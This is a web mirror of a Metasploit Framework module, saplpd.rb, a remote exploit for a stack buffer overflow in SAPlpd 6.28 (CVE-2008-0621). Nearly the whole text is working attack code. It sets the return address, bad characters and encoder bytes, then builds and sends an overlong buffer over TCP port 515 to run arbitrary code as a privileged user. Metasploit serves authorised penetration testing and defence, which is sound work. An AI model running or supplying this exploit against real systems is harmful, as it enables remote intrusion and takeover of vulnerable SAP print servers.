Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lpd/saplpd.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'SAP SAPLPD 6.28 Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .
18
By sending an overly long argument, an attacker may be able to execute arbitrary
19
code.
20
},
21
'Author' => 'MC',
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2008-0621' ],
25
[ 'OSVDB', '41127' ],
26
[ 'BID', '27613' ],
27
],
28
'DefaultOptions' => {
29
'EXITFUNC' => 'thread',
30
},
31
'Payload' => {
32
'Space' => 400,
33
'BadChars' => "\x00\x0a",
34
'StackAdjustment' => -3500,
35
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)', { 'Ret' => 0x005e72d7 } ], # SAPlpd.exe 3/7/2006
40
],
41
'Privileged' => true,
42
'DisclosureDate' => '2008-02-04',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(515)], self)
53
end
54
55
def exploit
56
connect
57
58
sploit = "\x02"
59
sploit << rand_text_alpha_upper(484 - payload.encoded.length)
60
sploit << payload.encoded
61
sploit << [target.ret].pack('V')
62
sploit << [0xe9, -375].pack('CV')
63
64
print_status("Trying target #{target.name}...")
65
66
sock.puts(sploit)
67
68
handler
69
disconnect
70
end
71
end
72
73